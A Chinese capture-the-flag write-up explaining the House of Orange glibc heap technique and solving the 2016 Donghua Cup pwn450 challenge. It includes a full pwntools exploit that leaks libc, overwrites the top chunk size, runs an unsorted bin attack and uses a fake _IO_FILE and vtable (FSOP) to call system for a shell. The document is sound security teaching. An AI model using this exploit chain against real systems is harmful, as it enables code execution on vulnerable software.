House of Orange

前言

House Of Orange 核心就是通过漏洞利用获得 free 的效果

这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins

后续可以配合 unsorted bin attack 和 FSOP 获取 shell

利用条件

  • 有堆溢出,可以修改 top chunk size
  • 可以申请较大的空间
  • 没有释放模块(看见程序没有 free,realloc等函数时,优先考虑打House Of Orange)

伪造的 top chunk size 的要求 :

  • 0x0fe1、0x1fe1、0x2fe1、0x3fe

利用姿势

  • 通过堆溢出修改 top chunk size为“0x0fe1”
  • 申请“0x2000”的空间

版本影响

libc-2.23:可用打通

libc-2.24:增加了 vtable check,但仍然可以绕过

libc-2.27:完全失效

实战

pwn450_note_2016东华杯

此题仅能申请一个块,申请大小>=0x200,可释放,可修改,edit的时候有无限制的溢出,环境是2.23,glibc2.23中对vtable位置还没有2.24中添加的限制。

  • add

    只能添加一个堆块,并且大小必须大于0x200,会给出该堆块的地址(于是我们可以知道,因为我们只能申请一个块,并且大小大于0x80(小于0x80会被放到fast bin中),于是我们释放后就会被top chunk合并。并且给出了该堆块的地址,可以用来获取堆块地址)

  • edit

    该函数没有做边界限制,于是我们可以用来无限溢出

  • delte

    该函数就是简单的free并且,赋值为0了,就没有double free 漏洞

  • 没有show

首先要解决如何实现地址泄露,正常来说通过创建函数可以得到堆地址,但是如何得到libc的地址?答案是可以通过申请大的堆块,申请堆块很大时,mmap出来的内存堆块会紧贴着libc,可通过偏移得到libc地址。从下图中可以看到,当申请堆块大小为0x200000时,申请出来的堆块紧贴libc,可通过堆块地址得到libc基址。

image-20230814134302093

如何得到unsorted bin?想要利用unsorted bin attack实现_IO_list_all的改写,那么就需要有unsorted bin才行,只有一个堆块,如何得到unsorted bin?答案是利用top chunk不足时堆的分配的机制,当top chunk不足以分配,系统会分配新的top chunk并将之前的chunk 使用free函数释放,此时会将堆块释放至unsorted bin中。我们可以利用覆盖,伪造top chunk的size,释放的堆块需满足下述条件:

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

即:

  1. size需要大于0x20(MINSIZE)
  2. prev_inuse位要为1
  3. top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)

最终利用unsorted bin attack,将_IO_list_all指向main_arenaunsorted_bins数组的位置。

于是我们需要在main_arenaunsorted_bins数组的位置开始伪造fake_IO_FILE,由下表的IO_FILE结构体可以知道,虽然main_arena的数据不可控,但是它的chain字段却是可控的,因为我们可以通过伪造一个大小为0x60的small bin释放到main arena中,从而在unsorted bin attack后,该字段刚好被当作_chain字段。然后在堆上伪造fake_IO_FILE即可,就可以控制该FILE的vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}

然后就是通过FSOP去getshell即可

当调用_IO_flush_all_lockp时,_IO_list_all的头节点并不会使得我们可以控制执行流,但是当通过fp = fp->_chain链表,对第二个节点进行刷新缓冲区的时候,第二个节点的数据就是完全可控的。我们就可以伪造该结构体,构造好数据以及vtable,在调用vtable中的_IO_OVERFLOW函数时实现对执行流的劫持。

下面是该题FSOP的函数调用栈

image-20230814151855705

更详细的解释在EXP中

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import*
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def db():
gdb.attach(p,'''
b *0x400946
b *0x04009EE
b *0x4009AA
b _itoa_word
c
''')
pause()
def new(size):
p.sendlineafter('>>','1')
p.sendlineafter('size:',str(size))
def edit(content):
p.sendlineafter('>>','3')
p.sendafter('content:',content)
def free():
p.sendlineafter('>>','4')
p = process('./main')
libc= ELF('../../how2heap/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so',checksec=False)
db()

new(0x200000)
#调用vmmap在libc附近生成heap,就能得到libc基地址
libc_base = int(p.recvuntil("\n")[:-1],16)- 0x10 + 0x201000
IO_list_all=libc_base+libc.sym["_IO_list_all"]
unsorted_bins=libc_base+libc.sym['__malloc_hook']+0x58 + 0x10
system=libc_base+libc.sym['system']
print("libc_base ------------> 0x%x"%libc_base)
free()


new(0x2F0)
heap_base = int(p.recvuntil("\n")[:-1],16)-0x10
edit('\x00'*0x2F0+p64(0) + p64(0xD01) + '\n')
#释放掉vmmap生成的chunk后,我们再在heap申请一个堆快就能得到heap的基地址
#并且我们溢出掉topchunk,修改他的大小小于我们后面申请的大小
free()



new(0x1000)
#当我们申请一个大小大于我们设置的topchunk的大小的时候,topchunk会被释放到unsorted bin中
free()


new(0x2F0)
#再申请的chunk会从unsorted bin中的chunk且切分出来
edit('\x00'*0x2F8 + p64(0xCE1) + p64(unsorted_bins)*2 + '\x00'*0xCC0 + p64(0xCE0) + p64(0x11) + '\n')
free()

#这里释放后是放到unsorted bin中的

new(0x3F0)
#再申请的chunk会从unsorted bin中的chunk且切分出来
free()

#到这里已经有2个unsorted bin chunk了,因为前面0x2f0是被放到smallbin中的

new(0x2F0)
#从smallbin中取出来
data = '\x00'*0x2F0 + p64(0) + p64(0x401) + p64(heap_base + 0x300 + 0x400) + p64(unsorted_bins) + '\x00'*(0x3F0-0x10)
fake_IO_FILE = '/bin/sh\x00' + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88
#这里就是修改最后一个unsorted bin chunk的bk指针,就能把对应地址+0x10的值给修改
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF)*3
vtable = heap_base + 0x300 + 0x400 + len(fake_IO_FILE) + 8
fake_IO_FILE += p64(vtable)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64(1) + p64(system)
data += fake_IO_FILE
edit(data + '\n')

free()
new(0x500)
p.interactive()

最终拿到shell

image-20230814152304900